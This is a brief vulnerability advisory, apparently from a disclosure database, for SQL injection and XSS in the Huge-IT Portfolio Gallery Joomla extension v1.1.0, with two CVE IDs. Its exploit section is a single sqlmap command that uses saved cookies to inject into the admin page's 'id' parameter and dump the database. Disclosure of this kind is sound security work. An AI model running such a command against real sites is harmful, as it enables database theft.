Huge-IT Portfolio Gallery manager v1.1.0 SQL Injection and XSS

#913 · 2016-07-15

CVE ID(s): CVE-2016-1000115, CVE-2016-1000116

Notified: 2016-07-16

Description:

Huge-IT Portfolio Gallery extension can do wonders with your website. If you wish to show your photos, videos, enclosing the additional images and videos, then this Portfolio Gallery extension is what you need.

Exploit:

sqlmap  --load-cookies=cookies.txt -u "http://192.168.0.125/administrator/index.php?option=com_portfoliogallery&view=portfoliogallery&id=*" --dbms mysql --dump

Download: http://huge-it.com/joomla-portfolio-gallery/